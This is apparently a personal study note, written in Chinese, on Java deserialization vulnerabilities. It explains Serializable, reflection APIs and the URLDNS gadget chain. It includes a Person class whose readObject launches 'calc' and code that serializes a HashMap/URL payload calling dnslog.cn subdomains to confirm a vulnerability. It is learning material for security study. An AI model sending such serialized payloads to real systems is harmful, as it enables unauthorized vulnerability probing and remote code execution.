只有实现了Serializable或者Externalizable接口的类的对象才能被序列化为字节序列
只要服务的反序列化数据,客户端传递类的readObject中的戴拿会自动执行,给予攻击者在服务器上运行代码的能力
共同条件
定义常规Person类 需要实现Serializable接口(空接口 无抽象方法 用于标记类型,表示Person对象属于特定的类型或具有特定的特征(可序列化的类))
Person类中含有执行系统命令的方法
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ois.defaultReadObject();
Runtime.getRuntime().exec("calc");
}
这里模拟类恶意反序列化对象:假如反序列化的数据是可控的
该方法在反序列化过程中被调用,并且假设使用了默认的反序列化逻辑 ois.defaultReadObject()。然后,它使用 Runtime.getRuntime().exec(“calc”) 执行了一个命令
对Person对象进行序列化处理
public class serialize{
public static void serializeTest(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); //创建一个 ObjectOutputStream 对象 oos,接受一个 FileOutputStream 对象作为参数,用于指定序列化数据的输出文件。
oos.writeObject(obj); //调用 oos.writeObject(obj) 方法,将传入的对象 obj 进行序列化,并将序列化后的数据写入到文件中。
}
public static void main(String[] args) throws IOException {
Person person = new Person("admin",21);
System.out.println(person);
serializeTest(person);
}
}
Person{username=‘admin’, age=21}是序列化前的Person对象输出
对Person对象进行反序列化
public class unserialize {
public static Object unserializeTest(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));//创建一个 ObjectInputStream 对象 ois,接受一个 FileInputStream 对象作为参数,用于指定从文件中读取序列化数据。
Object obj = ois.readObject();//调用 ois.readObject() 方法,从文件中读取序列化的对象,并将其赋值给 Object 类型的变量 obj
return obj;
}
public static void main(String[] args) throws IOException, ClassNotFoundException {
Person person = (Person)unserializeTest("ser.bin");
System.out.println(person);
}
}
是指在运行时去获取一个类的变量和方法信息。然后通过获取到的信息来创建对象,调用方法的一种机制。由于这种动态性,可以极大的增强程序的灵活性,程序不用在编译期就完成确定,在运行期仍然可以扩展
让java具有动态性 修改已有对象的属性 动态生成对象 动态调用方法 操作内部类和私有方法
在反序列化漏洞中的应用
//调用对象的getClass()方法,返回该对象所属类对应的Class对象
//使用Class类中的静态方法forName(String className)
//使用类的class属性来获取该类对应的Class对象
Person person = new Person();
//反射就是操作Class
Class<? extends Person> c = person.getClass(); //对象名.getClass()方法
Class<?> c1 = Class.forName("top.whgojp.domain.Person"); //Class.forName(全类名)方法
Class<Person> c2 = Person.class; //类名.class属性
方法名 | 说明 |
---|---|
Constructor>[] getConstructors() | 返回所有公共构造方法对象的数组 |
Constructor>[] getDeclaredConstructors() | 返回所有构造方法对象的数组 |
Constructor getConstructor(Class>… parameterTypes) | 返回单个公共构造方法对象 |
Constructor getDeclaredConstructor(Class>… parameterTypes) | 返回单个构造方法对象 |
方法名 | 说明 |
---|---|
T newInstance(Object…initargs) | 根据指定的构造方法创建对象 |
方法名 | 说明 |
---|---|
Field[] getFields() | 返回所有公共成员变量对象的数组 |
Field[] getDeclaredFields() | 返回所有成员变量对象的数组 |
Field getField(String name) | 返回单个公共成员变量对象 |
Field getDeclaredField(String name) | 返回单个成员变量对象 |
方法名 | 说明 |
---|---|
voidset(Object obj,Object value) | 给obj对象的成员变量赋值为value |
方法名 | 说明 |
---|---|
Method[] getMethods() | 返回所有公共成员方法对象的数组,包括继承的 |
Method[] getDeclaredMethods() | 返回所有成员方法对象的数组,不包括继承的 |
Method getMethod(String name, Class>… parameterTypes) | 返回单个公共成员方法对象 |
Method getDeclaredMethod(String name, Class>… parameterTypes) | 返回单个成员方法对象 |
方法名 | 说明 |
---|---|
Objectinvoke(Object obj,Object… args) | 调用obj对象的成员方法,参数是args,返回值是Object类型 |
public static void main(String[] args) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, ClassNotFoundException, NoSuchFieldException {
// Person person = new Person();
//反射就是操作Class
Class<Person> c2 = Person.class;
//从原型class里面实例化对象
Constructor<? extends Person> personconstructor = c2.getConstructor(String.class, int.class);
Person p = (Person) personconstructor.newInstance("admin",22);
System.out.println(p);
//获取类里面属性
Field agefield = c2.getDeclaredField("age");
agefield.setAccessible(true);
agefield.set(p,33);
System.out.println(p);
Field usernamefield = c2.getField("username");
usernamefield.set(p,"whgojp");
System.out.println(p);
//调用类里面的方法
System.out.println("---------------");
Method test1 = c2.getMethod("test1");
System.out.println(test1); //共有方法 无参
Method test2 = c2.getDeclaredMethod("test2",String.class);
test2.setAccessible(true);
test2.invoke(p,"whgojp");
System.out.println(test2); //私有方法 并传参
}
URLDNS链的利用效果是只能触发一次dns请求,而不能去执行命令。适用于漏洞验证,而且URLDNS这条利用链并不依赖于第三方的类,而是JDK中内置的一些类和方法。
在一些漏洞利用没有回显的时候,我们也可以使用到该链来验证漏洞是否存在
原理
java.util.HashMap实现了Serializable接口,重写了readObject, 在反序列化时会调用hash函数计算key的hashCode,而java.net.URL的hashCode在计算时会调用getHostAddress来解析域名, 从而发出DNS请求
public class serialize {
public static void serializeTest(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException {
//raw 未修改hashCode值,序列化过程中也会触发dnslog请求
/* URL url = new URL("http://URLDNStest.r8hzba.dnslog.cn");
hashMap.put(url, 1);*/
//将url对象的hashcode改为不是-1
HashMap<URL, Integer> hashMap = new HashMap<>();
URL url = new URL("http://test.n4p7aw.dnslog.cn");
Class<? extends URL> c = url.getClass();
Field hashCodeField = c.getDeclaredField("hashCode");
hashCodeField.setAccessible(true);
hashCodeField.set(url, 1234);
hashMap.put(url, 1);
//通过反射,改变URL对象属性 hashCode=-1
hashCodeField.set(url,-1);
serializeTest(hashMap);
}
}
实际上正常在序列化过程中,传入dnslog地址也会有数据回显,因为在序列化过程中同时也调用了hashCode(hashCode传入初始值为-1,也会触发dnslog。图中注释部分与前面讲的JAVA反射技术就是为了动态修改url.Class类中初始hashCode的值,使其不为-1,以避免在探测漏洞时产生误报)
由于pom依赖问题,ysoserial未调试成功 emmm……
这里使用的是最原生的反序列化方法
public class unserialize {
public static Object unserializeTest(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
System.out.println(obj);
return obj;
}
public static void main(String[] args) throws IOException, ClassNotFoundException {
unserializeTest("ser.bin");
}
}
得到序列化对象之后,预期效果是反序列化触发dns请求,用于验证漏洞存在
序列化工具链
* Gadget Chain:
* HashMap.readObject()
* HashMap.putVal()
* HashMap.hash()
* URL.hashCode()
反序列化中hashCode为-1
调用getHostAddress、getHost等网络协议触发dnslog请求
URLDNS链
HashMap.readObject() -> HashMap.putVal() -> HashMap.hash()
-> URL.hashCode()->URLStreamHandler.hashCode().getHostAddress
->URLStreamHandler.hashCode().getHostAddress
->URLStreamHandler.hashCode().getHostAddress.InetAddress.getByName
由于第一次接触反序列化链,未免有些地方写的不对,未完待续……
https://blog.csdn.net/mocas_wang/article/details/107621010
https://www.cnblogs.com/nice0e3/p/13772184.html
https://space.bilibili.com/2142877265